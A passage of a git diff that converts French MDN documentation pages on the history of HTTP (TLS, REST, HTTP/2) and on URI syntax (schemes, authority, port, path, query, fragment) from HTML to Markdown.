1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.</p> +## Plus de quinze années d'extension -<h3 id="HTTP_pour_des_transmissions_sécurisées">HTTP pour des transmissions sécurisées</h3> +Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans. -<p>La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.</p> +### HTTP pour des transmissions sécurisées -<p>Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.</p> +La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration. -<h3 id="Utilisation_de_HTTP_dans_des_applications_complexes">Utilisation de HTTP dans des applications complexes</h3> +Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce. -<p>La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.</p> +### Utilisation de HTTP dans des applications complexes -<p>En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.</p> +La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale. -<p>Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:</p> +En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions \*DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010. -<ul> - <li><a href="/fr/docs/Web/API/Server-sent_events">Évènements générés par le serveur</a>, le serveur peut éventuellement pousser des messages au navigateur.</li> - <li><a href="/fr/docs/Web/API/WebSocket_API">WebSocket</a>, un nouveau protocole qui peut être utilisé en passant à une version récente de HTTP.</li> -</ul> +Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que: -<h3 id="Relâcher_les_contraintes_du_modèle_de_sécurité_du_Web">Relâcher les contraintes du modèle de sécurité du Web</h3> +- [Évènements générés par le serveur](/fr/docs/Web/API/Server-sent_events), le serveur peut éventuellement pousser des messages au navigateur. +- [WebSocket](/fr/docs/Web/API/WebSocket_API), un nouveau protocole qui peut être utilisé en passant à une version récente de HTTP. -<p>HTTP est indépendant du modèle de sécurité du Web, principalement créé via la <em><a href="/fr/docs/Web/Security/Same-origin_policy">same-origin policy</a></em>. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications <a href="/fr/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) ou <a href="/fr/docs/Web/Security/CSP">Content Security Policy</a> (CSP).</p> +### Relâcher les contraintes du modèle de sécurité du Web -<p>D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.</p> +HTTP est indépendant du modèle de sécurité du Web, principalement créé via la _[same-origin policy](/fr/docs/Web/Security/Same-origin_policy)_. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications [Cross-Origin Resource Sharing](/fr/docs/Glossary/CORS) (CORS) ou [Content Security Policy](/fr/docs/Web/Security/CSP) (CSP). -<h2 id="HTTP2_–_Un_protocole_pour_plus_de_performances">HTTP/2 – Un protocole pour plus de performances</h2> +D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres. -<p>Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le <em>pipelining</em> HTTP s'est révélé être un fardeau dans le monde du développement web.</p> +## HTTP/2 – Un protocole pour plus de performances -<p>Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.</p> +Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le _pipelining_ HTTP s'est révélé être un fardeau dans le monde du développement web. -<p>Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:</p> +Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2. -<ul> - <li>Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.</li> - <li>C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.</li> - <li>HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.</li> - <li>Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.</li> -</ul> +Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects: -<p>Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) (<a href="https://w3techs.com/technologies/details/ce-http2/all/all">source</a>). Ce qui représentait en 2015 plus de 68% des requêtes (<a href="https://www.keycdn.com/blog/http2-statistics/">source</a>). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.</p> +- Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée. +- C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x. +- HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires. +- Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur. -<p>Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.</p> +Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) ([source](https://w3techs.com/technologies/details/ce-http2/all/all)). Ce qui représentait en 2015 plus de 68% des requêtes ([source](https://www.keycdn.com/blog/http2-statistics/)). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées. -<h2 id="Après_HTTP2">Après HTTP/2</h2> +Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires. -<p>HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :</p> +## Après HTTP/2 -<ul> - <li>Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.</li> - <li>L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.</li> - <li>L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié</li> -</ul> +HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 : -<p>Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.</p> -</div> -</div> +- Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}. +- L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres. +- L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié + +Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole. diff --git a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md index 113f4f10b2..23eaf74c4f 100644 --- a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md +++ b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md @@ -6,165 +6,100 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web original_slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web --- -<div>{{HTTPSidebar}}</div> - -<p>La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une <em>Uniform Resource Identifier</em> ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.</p> - -<p>L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (<em>Uniform Resource Locator</em>° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.</p> - -<h2 id="URLs_et_URNs">URLs et URNs</h2> - -<h3 id="URLs">URLs</h3> - -<p>La forme la plus commune des URI est l'URL (<em>Uniform Resource Locator</em> ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.</p> - -<pre>https://developer.mozilla.org -https://developer.mozilla.org/fr/docs/Learn/ -https://developer.mozilla.org/fr/search?q=URL</pre> - -<p>Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).</p> - -<p>Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :</p> - -<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> - -<h3 id="URNs">URNs</h3> - -<p>Une URN ou <em>Uniform Resource Name</em> est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.</p> - -<pre>urn:isbn:9780141036144 -urn:ietf:rfc:7230 -</pre> - -<p>Ces deux URNs correspondent :</p> - -<ul> - <li>au livre 1984 de George Orwell,</li> - <li>La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li> -</ul> - -<h2 id="Syntaxe_des_URIs_(Uniform_Resource_Identifiers)">Syntaxe des URIs (Uniform Resource Identifiers)</h2> - -<h3 id="Schéma_ou_protocole">Schéma ou protocole</h3> - -<dl> - <dt><img alt="Protocole" src="mdn-url-protocol@x2.png"></dt> - <dd><code>http://</code> constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que <code>mailto:</code> (pour ouvrir un client mail) or <code>ftp:</code> pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :</dd> -</dl> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Schéma</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>data</td> - <td><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></td> - </tr> - <tr> - <td>file</td> - <td>Fichiers du système hôte sur lequel est installé le navigateur</td> - </tr> - <tr> - <td>ftp</td> - <td><a href="/fr/docs/Glossary/FTP">File Transfer Protocol</a></td> - </tr> - <tr> - <td>http/https</td> - <td><a href="/fr/docs/Glossary/HTTP">Hyper text transfer protocol (sécurisé)</a></td> - </tr> - <tr> - <td>mailto</td> - <td>Adresse électronique</td> - </tr> - <tr> - <td>ssh</td> - <td>Secure shell</td> - </tr> - <tr> - <td>tel</td> - <td>téléphone</td> - </tr> - <tr> - <td>urn</td> - <td>Uniform Resource Names</td> - </tr> - <tr> - <td>view-source</td> - <td>code source de la ressource</td> - </tr> - <tr> - <td>ws/wss</td> - <td>connexions (chiffrées) <a href="/fr/docs/Web/API/WebSockets_API">WebSocket</a></td> - </tr> - </tbody> -</table> - -<h3 id="Autorité">Autorité</h3> - -<dl> - <dt><img alt="Nom de domaine" src="mdn-url-domain@x2.png"></dt> - <dd><code>www.exemple.com</code> est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.</dd> -</dl> - -<h3 id="Port">Port</h3> - -<dl> - <dt><img alt="Port" src="mdn-url-port@x2.png"></dt> - <dd><code>:80</code> constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.</dd> -</dl> - -<h3 id="Chemin">Chemin</h3> - -<dl> - <dt><img alt="Chemin du fichier" src="mdn-url-path@x2.png"></dt> - <dd><code>/chemin/du/fichier.html</code> constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..</dd> -</dl> - -<h3 id="Requête">Requête</h3> - -<dl> - <dt><img alt="Paramètres" src="mdn-url-parameters@x2.png"></dt> - <dd><code>?key1=value1&key2=value2</code> sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole <code>&</code>. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.</dd> -</dl> - -<h3 id="Fragment">Fragment</h3> - -<dl> - <dt><img alt="Ancre" src="mdn-url-anchor@x2.png"></dt> - <dd><code>#QuelquePartDansLeDocument</code> est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.</dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<pre>https://developer.mozilla.org/en-US/docs/Learn -tel:+1-816-555-1212 -git@github.com:mdn/browser-compat-data.git -ftp://example.org/resource.txt -urn:isbn:9780141036144 -</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - </tbody> -</table> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li> - <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">La liste des différents schémas des URIs, maintenue par l'IANA</a></li> -</ul> +{{HTTPSidebar}} + +La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une _Uniform Resource Identifier_ ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources. + +L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (*Uniform Resource Locator*° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent. + +## URLs et URNs + +### URLs + +La forme la plus commune des URI est l'URL (_Uniform Resource Locator_ ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web. + + https://developer.mozilla.org + https://developer.mozilla.org/fr/docs/Learn/ + https://developer.mozilla.org/fr/search?q=URL + +Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource). + +Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet : + + http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument + +### URNs + +Une URN ou _Uniform Resource Name_ est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier. + + urn:isbn:9780141036144 + urn:ietf:rfc:7230 + +Ces deux URNs correspondent : + +- au livre 1984 de George Orwell, +- La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. + +## Syntaxe des URIs (Uniform Resource Identifiers) + +### Schéma ou protocole + +- ![Protocole](mdn-url-protocol@x2.png) + - : `http://` constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que `mailto:` (pour ouvrir un client mail) or `ftp:` pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont : + +| Schéma | Description | +| ----------- | ------------------------------------------------------------------- | +| data | [URIs de données](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) | +| file | Fichiers du système hôte sur lequel est installé le navigateur | +| ftp | [File Transfer Protocol](/fr/docs/Glossary/FTP) | +| http/https | [Hyper text transfer protocol (sécurisé)](/fr/docs/Glossary/HTTP) | +| mailto | Adresse électronique | +| ssh | Secure shell | +| tel | téléphone | +| urn | Uniform Resource Names | +| view-source | code source de la ressource | +| ws/wss | connexions (chiffrées) [WebSocket](/fr/docs/Web/API/WebSockets_API) | + +### Autorité + +- ![Nom de domaine](mdn-url-domain@x2.png) + - : `www.exemple.com` est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web. + +### Port + +- ![Port](mdn-url-port@x2.png) + - : `:80` constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier. + +### Chemin + +- ![Chemin du fichier](mdn-url-path@x2.png) + - : `/chemin/du/fichier.html` constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique.. + +### Requête + +- ![Paramètres](mdn-url-parameters@x2.png) + - : `?key1=value1&key2=value2` sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole `&`. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres. + +### Fragment + +- ![Ancre](mdn-url-anchor@x2.png) + - : `#QuelquePartDansLeDocument` est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête. + +## Exemples + + https://developer.mozilla.org/en-US/docs/Learn + tel:+1-816-555-1212 + git@github.com:mdn/browser-compat-data.git + ftp://example.org/resource.txt + urn:isbn:9780141036144 + +## Spécifications + +| Spécification | Titre | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------ | +| {{RFC("7230", "Uniform Resource Identifiers", "2.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | + +## Voir aussi + +- [Qu'est-ce qu'une URL ?](/fr/docs/Learn/Common_questions/What_is_a_URL) +- [La liste des différents schémas des URIs, maintenue par l'IANA](https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) diff --git a/files/fr/web/http/basics_of_http/index.md b/files/fr/web/http/basics_of_http/index.md index 0276210a16..04b4f658b9 100644 --- a/files/fr/web/http/basics_of_http/index.md +++ b/files/fr/web/http/basics_of_http/index.md @@ -6,43 +6,41 @@ tags: - HTTP translation_of: Web/HTTP/Basics_of_HTTP --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.</p> +HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes 